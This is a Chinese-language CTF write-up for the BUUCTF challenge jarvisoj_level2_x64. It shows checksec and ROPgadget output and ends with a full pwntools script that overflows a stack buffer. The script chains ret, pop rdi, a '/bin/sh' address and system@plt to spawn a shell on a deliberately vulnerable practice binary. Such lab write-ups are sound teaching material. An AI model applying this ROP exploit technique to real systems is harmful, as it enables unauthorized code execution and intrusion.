BUUCTF Jarvisoj_level2_x64

Thursday, December 29, 2022
本文共664字
2分钟阅读时长
pwn

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/jarvisoj_level2_x64/。商业转载请联系作者获得授权,非商业转载请注明出处!

I believe that we are fundamentally the same and have the same basic potential. — Dalai Lama

原题链接

checksec 查看架构

$ checksec --file level2_x64
[*] '/home/peterl/security/workspace/level2_x64/level2_x64'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

看来该程序是 64 位的,而且因为 NX 不能使用 shellcode

同时,64 位系统调用 system 还要注意栈对齐的情况,要准备一个ret的 gadget

ida 查看伪代码

我们先运行一下康康:

$ ./level2_x64
Input:

Hello World!

看来有一个输入口,有机会栈溢出,我们用 ida 看看

202209081747592022-09-08-17-47-59

这个vulnerable_function属实是有点大摇大摆了

点进去康康:

202209081749192022-09-08-17-49-20

这明摆着是要栈溢出然后调用 plt 表中的 system 函数

构建 exp

寻找 system 函数地址:

202209081801162022-09-08-18-01-16

要注意的是,直接用readelf -r level2_x64命令读到的是.rela.plt 的符号表(涉及到延迟绑定机制,具体可以看这篇博文

寻找"\bin\sh"

$ ROPgadget --binary level2_x64 --string "/bin/sh"
Strings information
============================================================
0x0000000000600a90 : /bin/sh

还好有现成的,不用自己去构建了

寻找两个 gadget:

$ ROPgadget --binary level2_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400560 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004a1 : ret

Unique gadgets found: 11

可以找到pop rdi;retret

0x00000000004006b3 : pop rdi ; ret
0x00000000004004a1 : ret

然后我们就可以构建 exp 了

注意,我们在一开始可以不加ret,试过一次如果出现 EOF 再加,如果加了还是报错就说明不是栈对齐的问题

完整 exp


from pwn import *
from pwn import p64, p32

pss: bool = False
fn: str = "./level2_x64"
libc_name:str = "/lib/x86_64-linux-gnu/libdl.so.2"
port: str = ""
if_32: bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    p = process(fn,env={"LD_PRELOAD":"/lib/x86_64-linux-gnu/libdl.so.2"})


ret = 0x4004a1
pop_rdi_ret = 0x4006b3
bin_sh = 0x600a90
system_addr = 0x4004c0
p.recvuntil(b"Input:\n")
payload = b"a"*0x88 + pg(ret) + pg(pop_rdi_ret) + pg(bin_sh) + pg(system_addr)
p.sendline(payload)
p.interactive()